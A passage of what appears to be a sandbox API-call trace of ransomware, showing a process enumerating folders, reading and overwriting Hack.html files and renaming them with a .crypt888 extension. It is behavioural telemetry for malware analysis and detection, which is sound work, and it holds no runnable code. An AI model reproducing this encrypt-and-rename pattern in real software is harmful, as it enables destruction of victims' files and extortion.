Users\\Microsoft\\Network\\Downloader\\Hack.html", lpFilePart=0x0) returned 0x39 [0088.808] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html.crypt888", lpFilePart=0x0) returned 0x42 [0088.808] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7dd840, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb7dd840, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc620fd40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.809] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\hack.html.crypt888")) returned 1 [0088.809] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html", lpFilePart=0x0) returned 0x39 [0088.809] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.825] GetFileType (hFile=0x174) returned 0x1 [0088.825] GetFileType (hFile=0x174) returned 0x1 [0088.832] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html", lpFilePart=0x0) returned 0x2e [0088.832] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.841] GetFileType (hFile=0x174) returned 0x1 [0088.841] GetFileType (hFile=0x174) returned 0x1 [0088.842] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE", lpFilePart=0x0) returned 0x23 [0088.842] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpFilePart=0x0) returned 0x24 [0088.842] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a1a8 [0088.842] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.843] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0088.843] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE", lpFilePart=0x0) returned 0x23 [0088.843] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\", lpFilePart=0x0) returned 0x24 [0088.843] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a1a8 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.843] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.844] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.844] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.844] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.844] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.844] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.844] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.844] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0088.844] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html", lpFilePart=0x0) returned 0x2d [0088.844] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.844] GetFileType (hFile=0x174) returned 0x1 [0088.844] GetFileType (hFile=0x174) returned 0x1 [0088.844] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.844] ReadFile (in: hFile=0x174, lpBuffer=0x28a42d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x28a42d8*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.859] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html", lpFilePart=0x0) returned 0x2d [0088.859] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.860] GetFileType (hFile=0x174) returned 0x1 [0088.860] GetFileType (hFile=0x174) returned 0x1 [0088.860] WriteFile (in: hFile=0x174, lpBuffer=0x26f320c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x26f320c*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0088.861] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html", lpFilePart=0x0) returned 0x2d [0088.861] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html.crypt888", lpFilePart=0x0) returned 0x36 [0088.861] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc07ec0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc07ec0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc62a82c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.861] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\office\\hack.html.crypt888")) returned 1 [0088.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions", lpFilePart=0x0) returned 0x2e [0088.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\", lpFilePart=0x0) returned 0x2f [0088.862] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a7a8 [0088.862] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.862] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.862] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.862] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.862] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.862] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0088.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions", lpFilePart=0x0) returned 0x2e [0088.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\", lpFilePart=0x0) returned 0x2f [0088.862] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a7a8 [0088.862] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.863] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.863] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.863] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.863] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.863] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0088.863] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html", lpFilePart=0x0) returned 0x38 [0088.863] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.863] GetFileType (hFile=0x174) returned 0x1 [0088.863] GetFileType (hFile=0x174) returned 0x1 [0088.863] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0088.863] ReadFile (in: hFile=0x174, lpBuffer=0x26f618c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x26f618c*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0088.879] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html", lpFilePart=0x0) returned 0x38 [0088.879] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.880] GetFileType (hFile=0x174) returned 0x1 [0088.880] GetFileType (hFile=0x174) returned 0x1 [0088.881] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html", lpFilePart=0x0) returned 0x38 [0088.881] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html.crypt888", lpFilePart=0x0) returned 0x41 [0088.881] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc07ec0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc07ec0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc62ce420, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.881] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\hack.html.crypt888")) returned 1 [0088.881] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036", lpFilePart=0x0) returned 0x33 [0088.882] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpFilePart=0x0) returned 0x34 [0088.882] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a8a8 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0088.883] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0088.883] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036", lpFilePart=0x0) returned 0x33 [0088.883] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpFilePart=0x0) returned 0x34 [0088.883] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a8a8 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.885] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.885] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.885] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.885] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.885] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0088.885] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0088.885] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html", lpFilePart=0x0) returned 0x3d [0088.885] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.885] GetFileType (hFile=0x174) returned 0x1 [0088.885] GetFileType (hFile=0x174) returned 0x1 [0088.885] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0088.885] ReadFile (in: hFile=0x174, lpBuffer=0x274d29c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x274d29c*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0088.903] GetFullPathNameW (in: 